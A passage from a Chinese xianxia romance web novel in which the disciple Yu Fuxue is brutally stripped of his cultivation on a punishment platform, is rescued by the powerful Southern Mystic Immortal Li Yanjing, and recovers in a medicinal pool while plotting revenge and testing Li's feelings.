我沉默片刻,自欺欺人是弱者所为,我不认为王德福要说假话诓我,他自己也惊讶我不知道。
恐怕所有人都知道我的下场早已被定好,只有我被蒙在鼓里,还被傻呵呵拉出来溜一圈。
撑着膝盖要站起来,旁边那告状的弟子惊恐地后退,唯恐我出手伤他。
我朝他轻笑,稍抬双手,沙哑着声音和他说:“怕什么?我如今修为被封,四肢及命脉被缚,还能拿你怎么样?”
这些年的连轴转算什么呢?
云秀峰峰里峰外,大大小小事务全都让我管,会不会师尊其实觉得我大权在握,从不放手,不识好歹呢。
我这等卑劣的后辈,恶劣形象在他眼里怕是已经根深蒂固,哪能和程月舒比?
无情道到底是断情绝欲,还是只对在意者之外的人无情!
我问执法长老:“我师尊当真如此说?”
执法长老在众目睽睽之下颔首,沉默片刻,传音告诉我。
“确实无半分虚假,王长老说的还算委婉了,你师尊可没他那么生动的语气。”
巨大的哀痛席卷过我的心,穿胸而过,只剩下空荡荡的躯壳。
师尊居然这么讨厌我。
我无法理解,冷笑出声,听见自己凄惨沙哑的声音,一股新的奇异情绪更加强烈,涌上心头。
我仿佛站在第三视角看自己,滑稽的可笑。闭目塞听,只活在自己的世界里,傻傻的看着天上的那个人。
喜欢是什么感情呢?原来一文不值。
我深吸一口气,此时有风慢慢的荡起,从我身边掠过时,我才发现,眨眼间居然已经入冬,明明走的时候还是晚秋。
时也,命也。
我一向讨厌自己的名字,好像负了天地,在凄凄惨惨、万物寂寥的冬日诞生。
而现在是初冬,恐怕也是我最后一个冬日,也许我真的不适合修仙,见识过广阔的天地,和精妙绝伦的人。
就算废除我的修为,恐怕我也再难回到以前,那冬天和野狗抢食,春天和叫花子们一起去街上讨饭的时光。
生剔根骨,生剖金丹。
不就是将宗门培养的东西还回。
所有人都盯着我看,我嗤笑一声,朝着那告状的弟子跑去,他没有料到我突然发难,只后退了几步,摔倒在地。
他的表情惊恐,瘫坐在地上,仰头看着我,甚至都不敢转头跑。
因为我在转瞬之间就拔了他的剑。
台上的执法长老大怒,手中凝聚灵力。
“混账东西!郁负雪!你想干什么!给我把剑放下!你现在还想当着大家的面对同门下手吗!”
我没理会执法长老,而是提着剑居高临下,背着日光看那弟子,对于他脸上的表情我很是不解。
“都说了,不必怕我。”
不过,我很快就知道,为什么这个弟子脸上又露出这种表情:“原来如此,三番五次吓到你,真是不好意思。”
我慢慢挺直脊背,肩头搭着的长发掉落下来,这一缕变得灰白,好像忽然褪了色。
这一点小变化,只有离得极近的这位弟子看清,他怕是真的认为我要入魔了。
而看台上的弟子们猖狂,三两个起身,直接冲着我叫嚣,我佩服他们的勇气。
“心思不正就该受到惩罚!你对着同门撒什么气!有本事冲我来啊!”
“他想做什么!他刚刚夺剑的速度好快!我都没有看清!”
“你是刚入门没多久的吧?到现在才问,你不知道郁负雪这三个字代表什么吗?他可是下一个最有潜力当正道魁首的年轻弟子啊!”
旁边一人听到立刻唾弃:“我呸!他现在是我们年轻弟子的耻辱!对同门师弟下手!亏他想的出来!原来是这等肮脏的人。”
我握紧了剑柄,目光巡视在场众人。
这群人叫什么我都不知道,我居然有荣幸成为他们的耻辱。
“让长垣仙君出来。”
我头一回如此大逆不道的说话,语气冲人,几位长老脸色都不好看。
“你身上戴着玄铁锁,此刻同凡人有什么区别?莫要想不开,负隅顽抗。”
临到最后了,他们居然又装起好人来。苦口婆心的样子,好像我十恶不赦。
我重复问道:“让他出来,亲自说。”
“你这是何必呢。”执法长老不再等待,双指轻轻一弹,就将我手上的剑打飞。
我不想哭,但是剑脱手的那一刻,我只感觉到委屈。
我没有办法,没有人为我说一句话,我听到现在,周围弟子也不管是否真的清楚详情,全都在跟风骂我。
“长垣仙君不肯见我?”
执法长老摇头:“这不重要。”
闹得如此,我不信程月舒不关注,也不信师尊不清楚,但他们都没有再来。
长老眼眸一闪,化神中期修为朝我压来,我膝盖一颤,强行用力,站稳身形。
“我说,我要见他!”
在压力下,牙齿咯咯作响,我控制不住,甚至听见自己骨头断了的声音。
“冥顽不灵!”
执法长老挥袖,隔空击响刑台钟,钟响,则代表处罚开始。
法器和化神期威压合并袭来,膝盖骨再也承受不住,咔嚓一声,我直直跪在地上。
数道细针朝我飞射而来,我被反震在地,双手横展,执法长老出现在我的身侧,那鹫似的眸子看我一眼,伸手从我丹田伤口穿过。
手腕一翻,一颗夺目璀璨的金丹出现在他指尖。
但,并无魔气。
金丹被生生剖出,我心神俱震,疼痛才跟着漫上来,我大叫出声:“啊——!”
钉在我浑身关窍的长针不断颤动,弟子们大多捂上眼睛,不忍再看。
有人呢喃道:“这对吗?按理需要罚,但罚的是不是过重了……”
旁边的人狠狠踹他一脚:“嘘!别瞎说,只管看着!日后警醒着些!”
但我通通听不见了。
疼痛要把我劈成两半,我以为金丹分离是去掉一块肉,一片骨那样,然后浑身灵脉没有来源,痛是会有,但也不会痛到哪儿去。
我大错特错。
台上其他长老说:“望诸位谨记,玄清宗容不得任何同门相残的事,更不能容忍入魔,这等同于背叛宗门!”
“以此为戒,务必坚守道心,歪心思是走不长久的,修仙之路本就艰难,入魔看起来不错,但更是有违天道,你们想魂飞魄散,那就学学这位郁弟子吧。”
“我们现在废了他,他还可能重新来过,吃了这个教训,往后必定更加坚韧。”
执法长老把金丹放入玉盒,又拿出帕子擦几下手指:“后面剔除根骨,诸位弟子就不必观看了,都散了吧。”
有部分弟子其实早就想走,他们沉默着起身,朝台上的长老们拱手,转身离开。
陆陆续续地散了个干净。
带我来的弟子也连滚带爬地站起来,跑出去一半,想起还未告辞,又跑回来。
长老嫌弃地挥手:“你也滚远点。”
腰腹的疼痛还在,
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我望着天,泪顺着滑入鬓角,嘴唇轻动:“……有本事杀了我。”
长老皱紧眉,毫不避讳地说:“你的心性也就这样了,不过是给你些教训,就能让你仇恨至此?说的这是什么话,给老夫听的?”
“哈……哈哈哈哈!”我听罢,痛笑出声,“一群道貌岸然的狗东西!事到如今,还在这儿说教育人的话!”
我眼珠一转,死死盯向他,周身气息涌动,身上的玄铁不断颤动,要把我镇压。
“我何错之有!污名脏水,全都是那程月舒泼给我的!你们收了他什么好处?嗯?还是说,他样样上佳,你们视其为宗门天骄?”
执法长老当即甩手,带着灵力的掌风袭来。我被扇了一巴掌,头大力偏过去,猛地吐出一口血。
我大笑着夸道:“老匹夫!还有你们这群不是人的东西!是非不分!我哪里有错你们也说不上来!全听信程月舒一人所言!”
我压低声音,咬牙切齿地看着他们,目眦欲裂:“有本事就打死我,不然,日后我若寻了机会,你们一个都逃不掉。”
执法长老及诸位脸色难看,他并拢双指,隔空一拧,我右手手腕处的灵窍被长针搅毁,接着,手腕多了一条红线。
“呃啊——!”
红线扩大,分开,里面是森森白骨,一截透明的,根茎一样的东西钻出,那是我的灵脉,也就是他们口中所说的根骨。
小臂上第二根长针一搅,灵脉又被无形的力道扯出一截,同时,其他关窍的长针也开始运作。
它们先切断根骨和我凡骨的联系,长老才能从我的伤口把剖下的根拔出。
我内心的仇恨被慌乱所替代。
我要无缘仙途了,我那么多年的刻苦修炼,为登大道,从此以后要与我无关了。
“不……”因为太过痛苦,我张口竟都没有能发出声音来。
我的眼泪再次涌出,模糊我的视线,我努力睁大眼睛,看着右手手腕那被拔出的灵脉。
“不要……”
谁都好……
风骤起,吹来一片云,遮住了日光。
天,暗了下去。
谁能来救救我……
我的视线模糊起来,因为疼痛,意识昏昏沉沉,但我不肯闭眼。
我的修为被废,金丹已失,只差躯壳中的灵脉尚未剥尽。
道途再难容我。
就在这时,世界一静。
执法长老浑身一僵,整个人被掀飞出去重重砸在看台上,石台顿碎,他还未爬起,又被无形力道吸引,飞了回去。
落在一只骨节分明的手上。
在场剩余的人都屏住了呼吸,静若寒蝉。
我动了动眼珠,慢慢地扭过头,看向遮住光线的人。
他背对着我,站在我身边,单手掐着执法长老的脖子提起,我看不清他的神情。
这时候,场地中又多了两人。
冷脸小童子挂着满脸泪水,撒开腿跑进来,看见我在地上,又无声落下新泪,膝盖一弯,就要扑过来。
我身侧那人头也没回,空着的手手指轻动,小童子就被拦住,倾着身子浮在半空。
“不可。”
那人的声音我觉得耳熟,一时半会儿想不起来,但看样子刑罚中止了。
青色流光闪过,掌门落于刑台上,气喘吁吁,张嘴想说什么,被那人轻飘飘扫一眼,又闭上嘴。
我和那小童子对视,浑身没一处不疼,意识这么一松懈,眨眼间就要维持不住清明了。
小童子冷峻的小脸上满是泪水,大颗泪珠滴在地上:“对不起,仙尊,是我无能,刑台门口的弟子不让我进来,我耽搁了。”
仙尊!我又偏头呕出大滩血。
南玄仙尊,李晏京,我的师祖!
9. 你就这么怕我
他来做什么,如今还掐着执法长老,立场不甚明显。
我半阖着眼,没力气看。
渡劫期何其强大,在场其他人一句话也不敢说,刚刚教训晚辈的模样顷刻收敛。
执法长老的修为在李晏京那儿像是摆设,仙尊指尖轻动,他连挣扎都来不及。
更遑论开口辩解。
掌门王卿尘见执法长老脸色青紫,已经快翘辫子。
权衡片刻,还是为这鞠躬尽瘁的老头开口道:“南玄仙尊,事已至此。”
李晏京再次松手,执法长老便摔在地上捂着脖子咳嗽,大口大口喘着气。
“谢仙尊手下留情……咳咳……”
李晏京淡淡扫去一眼,将长老看得又是一噎,好在他什么话也没说,右手在空中轻收。
远处,王德福见势不妙,直觉不差,正抖着腿跑路,却浑身一缚,整个人朝后飞去。
还未等开口告饶,膝盖剧痛,便重重跪在了地上。
我被他杀猪似的嚎叫吵醒,睁眼看,他在被迫对着我下跪。
两道飞剑闪过,交叉穿过他的腿,将他牢牢钉在地上。
未等我反应过来现在是什么情况,我体内碎裂的针便透了出来,重新凝聚成原本的九九八十一根,玄铁锁链也全部崩断,化作飞烟,随风散去。
李晏京瞄准王德福,手法极佳,长针穿过其身体,却不至于让他顺着力度后仰在地。
这才是真正被扎穿。
“啊!掌门!掌门!救我!”
王卿尘皱起眉,立在远处没有靠近,双手揣在袖子里,也不知在思考什么。
“掌门!王卿尘!我这么多年为宗门敛了多少财!你不能不管我!”
王卿尘没回话,看着他这便宜亲戚。
“你忘了吗!没有我们一家,你能活到这么大?你能有这命坐上宗主的位置!?”
王德福小人之心,目光短浅,不去求在场真正掌握着生杀大权的人,反而求同样自身难保的王卿尘。
李晏京转过身,我想看清他的脸,他却率先伸手,遮在我的双目上。
“睡吧。”我听见他说。
然后我的意识便坠入黑暗。
再次惊醒时,已经不在刑台。
淡白雾气萦绕,雕梁画栋,殿顶的鹤好似真被仙法关在其上,下一秒就要冲我眨眼飞下来。
长久盯着一处不眨眼,画面就会模糊。
我躺在水池中,静静梳理思绪。
昏迷前,那剥离根骨,生剖金丹的事好像都是我的幻觉。
此刻,我浑身浸泡在乳白色的池水中,撕心裂肺的疼痛已然消失,衣服也换成新的,只着里衣。
只是我再也感触不到天地间盎然的灵气,五感浑沌,全身无力,如凡人无疑。
我心想,怎么不让我直接死了呢。
开门的声音响起,我涣散的视线聚焦,但仍保持着头枕在池子边的姿势。
脚步有些重,但人很轻,不是李晏京。
我不自觉松了口气,扭过头看向来人,果然是那白衣红纹的冷脸小童子,双手捧着比他脸还大的盘子。
如果是师祖,我不清楚该用什么态度和表情面对他,毕竟那可是传说中的南玄仙尊。
“你醒了!”
小童和我对视,惊喜地睁大眼睛,三两步跑过来跪在池边,托盘被他放到一边。
他很是规矩,没别的动作,那黑黝黝的眼睛望着我,小心翼翼的问:“你还痛不痛?”
我仔细观察着他,白白的小娃娃,眉中心有一点红,表情不会太大,看样子淡淡的,但眼里情绪却是真切,就像扑过来时,那不停落下的泪。
白衣暗纹,红色卷云纹镶边,进来时还不会特意放轻步伐,但频率一致,姿态颇佳。
“你是谁?认识我吗?”
我皱起眉,因为这沙哑难听的嗓音,有些嫌弃自己。
小童扭身拿起托盘上的瓶瓶罐罐,按照先后顺序打开,倒入池中。
“我是仙尊峰上的仙鹤。”
我没应声,他眉间的红倒是和师尊……长垣仙君殿前那个一模一样。
我猜到他是仙鹤所化。
倒完最后一瓶,那小脸又转过来,我静静和他对视,看出他眼里的疑惑。
“你不问我什么吗?”他看起来颇为严肃,像要检查我脑子是否还正常。
我轻轻摇头:“没必要。”
他默不作声盯我半晌,黑珍珠似的眼珠泛起泪光,抿着嘴,看起来是我欺负了他。
这小鹤童的气质独特,我确定从未见过,人挺安静,哭也哭得无声。
“对不起。”
他郑重其事地道歉,倒是让我一头雾水。
“怎么了?你是我的小债主?”
我任由自己的思绪放空,跟着这小鹤童走,不去想发生过的乌糟事。
他伸出胳膊,慢慢俯下身,松松地搂住我的脖子,人看起来严肃,但小脸软的可爱。
“你不认得我了吗?我载你下山,叼了你一根头发,你是不是生我气了,因为我没能及时救到你。”
他想像个大人一样说话,可是中间实在跳跃,我愣神一瞬,才有些明白。
刚刚他倒进去的液体发挥着作用,我浑身暖洋洋的,恢复了一点力气。
我慢慢抬起手,忽视那浮在水上的白发,揉了两下小鹤童的脑袋。
“没生气,”他直起身,没有抱很久,我把手放回去,看他抹眼泪,“是你叫……南玄仙尊来救我的?”
我不该喊师祖了。
小鹤童放下手,双手搭在膝头,虽然规规矩矩地在答话,但眼泪和不要钱一样,汇聚到下巴,滴在他衣服上。
“不是的,是仙尊让我注意着……我注意了,只是刑台开了法阵,门口弟子不让我进去,我刚化形,他们是小弟子,也不信我是仙尊峰上的。”
我眼眸微闪,循循善诱,因为嗓子还难受,所以话说的慢,显得温柔有耐心。
“为什么仙尊要你注意我,来救我?”
小鹤童吸了口气,正打算开口,却忽然扭头,侧耳像是听着什么。
见状,我在水中的手攥成拳头。
应当是有什么声音的,只是我修为已废,什么也听不见。
李晏京在暗处留意?他在说什么?是阻止小鹤童告诉我吗?
他为渡劫期大能,见识过多少人,我那点对化形小妖打探消息的心思,他定能看出来!
如我所料,小鹤童紧抿着嘴,端起托盘,不是很高兴地起身离开,半点再没有和我对视,我的心凉了下去。
门再次打开,过了片刻才传来关门的声音,我闭上眼,心烦意乱。
李晏京留我一个废人做什么?他的修为恐怕除去魔、佛、妖道的那几个老怪物,无人能敌,我身上有什么是他所图的?
还有,临走前他语意不详的“注意安全”,是否早已察觉到什么。
“郁负雪。”
我唰地睁开眼。
男子半扎着头发,几缕单独搭在肩头,因为弯腰的姿势,自然垂落。
和那小鹤童类似的白衣暗纹,光打过
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衣服才能看清那银色暗纹反光,衣摆和袖口都是深红卷云纹,简单勾勒,只是多了圈金色。
仔细看,红色卷云纹也是金红丝线相交绣成,更显暗暗的华丽。
而男子骨节分明的手手指微蜷,袖口落在他指尖,整个人稍显冷肃,眉眼深邃,看着情绪淡淡的。
眼瞳清澈,现在眼里只落了个仰头的我。
“……仙尊?”
李晏京长长的眼睫微颤:“嗯。”
我回过神,扑腾着要起来感谢这位大人物的救命之恩,他及时开口,温和的灵力不容拒绝地将我摁回去。
“不必。”
我还是说:“多谢仙尊出手相助,只是,原来的我尚且无用,如今我修为已废,等同凡人,怕是更不能为仙尊做些什么了。”
李晏京道:“我什么也不要你做。”
我没看他,调整姿势,后脑勺枕在水池边,垂下眼帘。
“那仙尊是也想要我的什么吗?根骨剥离中断,是他们手法不对,您要亲自动手?”
若是小鹤童在这儿,怕是要捂住我的嘴。
我继续不怕死地说:“长针断我修为,根骨却还未全被他们拿出,想来如今不知道我体内还有没有的——漂泊无根的东西,应该还有点价值?”
我静静等待着李晏京发作,眼睛微动,余光里,那衣摆还在。
等待片刻,李晏京没有回答,我又好似恍然大悟,抬了点头,轻轻“啊”一声。
“啊,或许是您觉得,我执念颇深,已然走火入魔,”我指尖挑起水池上一缕漂浮的白发,“要先将我安抚好,再让我心智尽……唔!”
下颌忽然被一只手掐住,我咽下后面的话,下意识看过去,李晏京单膝跪在我的身后,袖摆大半浸到池中。
他单手箍住我的脸,迫使我仰头和他对视,这种压迫性的动作也让我骤然清醒。
我在做什么!这是渡劫期的大能!真要折磨我,那不是轻轻松松吗!
“仙尊……我……”
我支支吾吾,不知该如何解释,这副模样更像被魔气浸染,心魔控制。
李晏京的眼里印出我的恐惧,他的视线在我脸上刮过,收手时,拇指轻轻蹭过我的嘴角,但他一脸淡然,应该是不小心。
“既然知道害怕,就不该口无遮拦。如果是别人,你也会如此直言?”
我嗫嚅半晌,垂下头,感觉到心脏砰砰跳,嘴上敷衍地道歉,对他的话并不回答。
“是我的错,仙尊。”
李晏京沉默半晌,似是叹了口气,我却没那好奇心看他,而是兀自在想关于他的传闻。
发现知之甚少。
此前我只过多关注长垣仙君,对于这个传说中高级别的南玄仙尊,只知道他是我们玄清宗的,修为在顶尖,听说活了很久。
或许因为结丹时年轻,容貌便一直保持如此,这我倒是从未想过,竟下意识以为师祖便都是老头,白发苍苍仙气飘飘,仿佛下一秒就飞升成仙。
除了厉害、活得久,以及自己猜测的那些喜静、清冷之外,居然什么都不清楚。
“不必多想。”
我悚然一惊,他出声的时机太过巧合,莫不是修到渡劫期,有读心的本事?
李晏京站起身,绕着池边走,离我远了些,我这才放松一点,狠狠闭了闭眼睛。
“郁负雪。”
他在叫我,咬字清晰,郑重无比。
我睁开眼,和李晏京相望。
池水朦胧的雾气飘在我们之间,他的声音不疾不徐:“你就这么怕我?”
10. 您也喜欢我吗
李晏京问完后也没指望听见我敷衍的回答,他又喊我,念我名字时语调很轻。
隔着一层雾望着我,就像那日在屏风后,都有种很专注的感觉。
“郁负雪,现在还痛不痛?”
我交叠双腿,搭在膝盖上的指尖一抖。
不知怎么,我忽然回忆起,从小到大,不管是日常还是渡劫。
我所受过的,那些大大小小的伤,长垣仙君从未关心过,一向是视若无睹。
“尚可,谢仙尊关心。”我心情又坏起来,还光明正大地走神。
还不如小鹤童来问我,见到李晏京,我就能想起我的师尊,想起我可笑的百年。
李晏京颔首,又说:“这池中我加了凝华天露,你这几日且安心养伤,少思虑,没事可以多睡会,无人会打扰你。”
我呼吸微滞,他说凝华天露?!
那可是天级至宝!一滴可以接筋续骨,扩充识海,就算修士只剩半截,也能吊着命养回来!
我差点要从池中蹦上岸,如此珍贵的东西用在我身上,背后必定有我难以承担的代价。
那会是什么?
人已看过,瞧着精神尚可,李晏京不再过多停留,打算转身离开。
我忙倾身,开口叫他:“仙尊!”但他没有回头,步伐不变。
我无端有些慌乱。
直觉告诉我,如果他就这么离开,伤好之后,我不会再有遇见他的机会。
那我怎么试探他?又怎么利用他复仇?
我思忖片刻,目光沉沉看他背影,随即放松全身,让身体顺着水池边缘下滑。
闭上眼,水面没过我的脖颈,漫过我的耳朵,我沉入池底,静静等待着。
波动的水面很快停下,胸腔里的氧气渐渐耗尽,脑袋胀痛和窒息感同时涌上,但都比不上那时在刑台的折磨。
肺部缺氧的压缩和清晰感知修仙路断,当然是后者更令我痛苦。
忽然,一声沉闷的入水声。
结实的手臂从我背后穿过,大力将我捞起,他的手抓在我的胳膊上,我被牢牢圈在他的怀中。
“不要命了?”
我蜷缩着,左手死死抓住他的衣襟,弓着背,大口呼吸新鲜空气,又不可避免的吸入水汽,呛咳不止。
这么一动,全身静止的疼痛传来一瞬,但很快又消失不见,因为太快,眨眼就被我抛诸脑后。
此时我十分愉悦,即使肺都在抽痛。
“咳咳……”缓过气,我抬起头。
李晏京眼神冰凉,薄唇紧抿,他现在比刚刚离我更近,我能看清他每一个表情。
“师祖,”我恶劣地揪住他衣襟,还转了小半圈手,被他用另只手捉住手腕才罢休,嘴上正经,“我怎么也想不通,事发前那日,您叫我注意安全,是何意?”
他眼中倒映出我的模样,脸色苍白,白发被水沾湿,黏在脸边和脖颈,我眼睛极黑,要笑不笑的模样很不正道。
李晏京抓住我胳膊的手用力一瞬,很快就松开双手,扶着我的肩头让我坐稳:“仅是寻常叮嘱。”
我手攥住他衣襟不放,就这么看他衣袍浸湿,立于水中。
他垂着眼,我不肯松手,我坐,他站,所以李晏京只能弯着腰,双手仍扣在我的肩头。
“郁负雪,松手。”
李晏京双眉轻蹙,这点小变化使我倍感欢喜,我如今一介废人,也能让修仙者烦扰,还是他这等大能。
我轻笑,没听他的话,继续喊着旧日对他的称呼,试探他的底线。
“行,寻常叮嘱,”我重复道,“师祖,那您为什么救我?他们都说我大逆不道,说我浸染魔气,残害同门,要入魔了。”
我勾着他衣服的手指发力,没拽动他,反将我自己提近。
“您不把我逐出宗门,还带到这儿,又是何意?负雪愚笨,请师祖告知。”
水池加了东西,一直散发着淡淡的味道,闻久后舌根发苦,我靠近李晏京,嗅到股清香,很好闻,像檀香和药味混合的。
李晏京默然片刻,手臂环过我的腰,我刚好有些脱力,摔回去时没磕在池沿,被他稳稳接住。
“你现在不宜思虑忧心,这些等你伤好再说。”他没放开我,抬起另一只手,隔着段距离轻划两下。
我沾湿的发丝被他拨开,用灵力挑到耳后,“是我不对,应该晚些来看你。”
我的笑容淡了下去。
他好顽固,半点听不进去我说的话,既然如此,就别想再管我。
我松开手指,沉着脸用力推开李晏京,胳膊都软得发颤,但好在池子里加的药厉害,我攒着口气,成功爬上去。
被我推开的李晏京在池中站稳,低头愣愣地看着自己双手,怀抱渐凉。
“仙尊请回吧。”我头也不回,扶着柱子站起来,那疼痛悄悄蔓延上来,“我……如今跟云秀峰一脉也没什么关系了……”
疼痛回归,差点让我跪下。
我喘着粗气,每一步都走得艰难,咽下痛哼,嘴里念念有词,全是我说给李晏京听的。
“我要去做坏事了,仙尊莫听,我怕您拦我,或者替天罚我,我受不起。”
身后哗啦一声,李晏京从池子里出来,单手捏住我后颈,手腕轻动,我被他揽住腰,摁在怀里。
他的灵力钻入我的身体,气息霸道,入侵得温和,寸寸掠过我的灵脉,疼痛被他重新镇压,李晏京搂着我往药池走。
“养好身体,什么都好说,嗯?”
我依旧未从他的语气里听出愤怒,他不在乎小人物的反叛和无礼,我看不透,到底什么能触及他内心的点?
我把头抵在他胸膛,在阴暗处转了转眼珠,一遍一遍思考。
这条路行不通,那和我有关的另一条路呢?
我轻声询问,语调尽是不解,只想心血来潮:“师祖,你说,我和程月舒长得像吗?”
这次,我感觉到腰间的手很明显地僵住。
我的心里如坠冰窟,嘴上继续说:“你们都喜欢他吧?年轻俊朗,少年俏皮,还很会说话,我本来也喜欢,可是他好像恨我。”
我抬起头,食指和中指交错,从李晏京的胸膛向上走,点在他喉结处停止。
“仙尊,您的心怎么乱了?是负雪说了什么,您觉得不对?”
我能感觉到他的心跳,恼火万分,压着他喉结的指尖无意识用力摁。
原来连南玄仙尊要为程月舒出气,亲自哄骗一个废人!我何其有幸!
他在我眼里变得面目可憎,我藏下去的恨意又浮上
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来,反手去抠那覆在后颈的手。
恶心,喜欢程月舒就别碰我。
李晏京回过神,松手躲开,双指一并,在我眉心轻点:“不过是个拙劣的赝品,比不上你半点,郁负雪,静心。”
被他压下去的痛反扑,我膝盖一软,手也卸了力,整个人要往下滑。
腰间手臂瞬间牢牢禁锢,我被李晏京重新带入药池。
我不肯被疼痛淹没神智,双手抱住眼前的胳膊,一声一声的,带着哀求:“师祖,仙尊,我好痛……”
眼中,他的身影变得模糊,李晏京将我放回池边靠着,收回胳膊,手心贴在我的脸颊,擦去眼泪。
池水的药力重新裹了上来,疼痛又蛰伏回去,李晏京一只手背在身后,薄唇紧抿。
替我擦完泪,他就直起身,手垂下,宽大的衣袖遮住他的手。
“郁负雪,你如今伤不了任何人,先好好养伤,后续的事可以慢慢谈。”像是怕语气又激到我,他补充道,“好不好?”
在李晏京这从始至终纵容的态度里,我忽然察觉到什么,不敢置信的东西。
不会吧,郁负雪你疯了?
我尽量放轻呼吸,让自己看起来很正常,但是,撑在池底的手已经兴奋地攥紧。
“我很无聊,不想睡觉。”
我好像发现了李晏京的秘密。
李晏京垂眸思忖片刻:“我会让小童子每日过来陪你,但是你不要为难他,一些事不能打听,一些事他也不知道。”
我盯他半晌,放松右腿,顺着水的浮力抬起,碰到他的小腿:“仙尊,小童子这也不能问,那也不能问,可是我好奇心泛滥,怎么办?。”
“没人为我答疑解惑,我难免想起悬牢苦楚,刑台众责,剖丹剜骨之痛。”
“指不定就疯了,这是您的峰吧?我就提着剑下去,管会不会死呢,什么恩情都只能来世再报答您了。”
李晏京背在身后的手也垂下,侧着弯腰捉住我的小腿,轻轻推开。
“以卵击石,你学的不错。”
南玄仙尊还会阴阳怪气。
我重新坐好,背靠池边:“我不想要小童子来看我。”
李晏京疑惑道:“他很喜欢你,回来就日日想念,恨不得早日化形,向我求了道古蕴,勉力成人。”
我淡笑,拨动池水,看那波纹尽数撞向李晏京,才停手,轻轻抚过手腕的疤。
“嗯……他很喜欢我,所以知道我受刑,哭的很伤心,那么,您呢?”
“南玄仙尊,您也喜欢我吗?”
等李晏京走后,我抬手,挥赶缥缈的雾气,池水加过药后又变得很白,只映得上我一个模糊的影子。
我慢吞吞梳理长发,将其盘在脑后,头发够长,我分出一缕权当发带,神情冷淡。
我自是不会相信李晏京喜欢我这种事,那可是南玄仙尊,正道第一人,见识过的天才不知凡几,哪里轮得到我这么个阴暗的人。
我的身上肯定还有什么没榨干的价值,这是我最后能利用的东西。
不管它是什么,如果李晏京想要,我就给他,但前提是,他能助我报仇。
刑台上处罚我的,看台上对我充满恶意的,一个也逃不掉。
包括那狼心狗肺的程月舒。
11. 活生生的因果
回忆起我刚刚的惺惺作态,自己都泛起恶心,李晏京居然半点不适也没露出,到底是大人物,就是不一样。
他走后,我因为疲惫,昏沉地睡去。
再次清醒,那小鹤童又出现在室内,安静地守在我身边,我闻见肉香,转头看向他。
李晏京不在,我也懒得装那模样,至于他的神识有没有盖过来,我并不关心。
“过来,坐那么远干什么,”我对小童招手,“还不知道你叫什么名字。”
小鹤童告诉我,他叫清月,因为化形时是在晚上,将身边托盘往前推了点。
“这是我下山买来的肉沫粥,这是仙尊给的甘露,可以润喉。粥我一直用灵力温着,你尝一口?不喜欢我再换。”
我侧身,头枕在胳膊上看他:“清月,我现在没有吃的给你。”
清月抿着嘴,从怀里掏出个盒子,轻声道:“我没有想要什么啊。郁师兄,这是仙尊让我给你的。”
我伸手接过,搁在一边没看,先提起小酒壶,对着嘴喝完那所谓的甘露。
甘露微甜,应该带着灵气,但那些气无法被我容纳,就顺着破漏的身体溢出去。
如清月所言,仅仅解渴润喉。
“不是师兄了,大可不必如此称呼我。还未问你呢,先前仙尊和你说什么,然后你就离开了?”
清月眨眨眼,看起来有些紧张,他认真地和我道歉:“对不起,我应该和你说一声再走的。仙尊没有传音,我是听见摇铃声,那代表峰上有客来,所以我是被仙尊喊去待客的。”
我眼眸微暗,当着他的面,先赏脸尝了口粥,白粥绵密,肉沫不多,只是起增味作用,不至于太过寡淡。
但我咽下粥时,有些反胃,没喝几口就搁下勺子,现在问他,想必更可能告诉我。
我尽量笑得温和:“什么客?我能知道吗?你们仙尊把我关在这儿也不让我接触外面,现在宗内关于我的风波过去了吗?”
清月的眼神微亮,尽管我吃的不多。
他把东西往旁边放了放,又规规矩矩跪好陪着我:“是玄清宗掌门,那个笑得十分讨厌的家伙。”
不是程月舒,也不是长垣仙君。
我附和道:“嗯,笑得很假。”
王卿尘为掌门,平常办事挑不出什么错,将玄清宗打理的也算井井有条,只是行事作风都透着虚假的客气,让人一眼就能看穿。
我想起那日赶来的李晏京和稍后出现的王卿尘,我问清月:“他来找仙尊是为我?”
清月歪头思考:“不是,好像仙尊这次出来,违背了什么东西,掌门想问怎么办。”
我没有再问下去,清月并不知道具体内容,从他的神情我能看出来。
只是这的确是可以探究的点,李晏京这等地位却还被约束,活的当真没滋没味。
“那仙尊在做什么?”
清月捂住嘴,摇头。
这就是不肯让我知道的部分了。
我不认为我问的是什么隐私的东西,不过是刺激他几下,小辈的试探而已,李晏京竟如此小气。
“不能说就算了,”我没心思为难清月这种小妖,只是沾了些池水故意弹他,“那他有让你带什么话吗?”
不知清月是喜欢我的样貌还是我给灵兽喂食的习惯,面对我这顽劣行为,他半点也不生气,虽然长得冷,但很乖巧。
我又给他抹掉水珠,丝毫不觉得自己如此反复,像个脑子有病的。
清月抓着我的手腕,轻轻抱了抱,抿唇而笑,弧度极小:“有的。”
说罢,他松开手,学着李晏京那淡然模样:“好好养伤,王德福给你留在了刑台。”
我有些恍惚,问清月:“人还活着?”
清月点头,声音清脆道:“仙尊那日钉牢了他,将他周遭时空都禁住了,你安心养伤,他暂时不会死。”
我坐直身体,没听说什么法门能禁锢时间和空间,那得是多近天道的存在。
“那是禁术吧?消耗定然不小。”
这又超出清月的所知范围了。
虽说那天成功拦下李晏京,但自从我问完那个问题,养伤间他再没有来看过我,我只能通过清月得知时间流逝。
李晏京送来的是一根发簪,青玉簪,尾部晶莹剔透,头端雕刻的是镂空卷云。
又两日后,清月来时只捧着个香炉,端着步子走来,把它放在池边。
“仙尊说等香燃尽,你就可以出来了。”
我往后一躺,浮在池面,殿顶的花样我早已看腻,听到能出去,我内心颤动。
“这是什么香?”
清月站在池边一愣,很快开心起来,“仙尊说这是安神香,因为郁师兄思虑繁多,瞧着总放不下事,仙尊就让我来点香。”
我看着单纯的清月。
“好的,谢谢你。”
自从发现他知之甚少,后来他再来这里时,我便很少开口同他说话。
他仅仅是一只小妖,此前也只是无忧无虑的仙鹤,我没必要试探他,他的喜欢纯粹,是罕见的礼物。
因我而想化形,是活生生的因果。
李晏京总驱使他来,本人却再不露面,是不是存心用这种法子点醒小辈。
提醒我做事要清楚后果,随意的搭话可能就种下联系,从此息息相关。
又或者是,我那日种种作为让他不知如何面对我,不过这种可能性很低,李晏京会知道什么叫“不敢”,“不明白”吗。
清月的伤心来得快,去的也快。
他又疾步走出去,峰上可能不让跑:“郁师兄,我去给你拿衣服哦,马上回来。”
我闭上眼,继续飘在水面上,这香的味道很淡,倒也不至于熏人。
每当我开始幻想,出去后该如何借李晏京的势去算账,那香味如有实质的勾了过来。
让我不自觉就跑题,想起那许久没来的男人,想起他什么也不肯说,要我静心。
我皱起眉,真是说的轻巧。
他可知我当日有多恨!
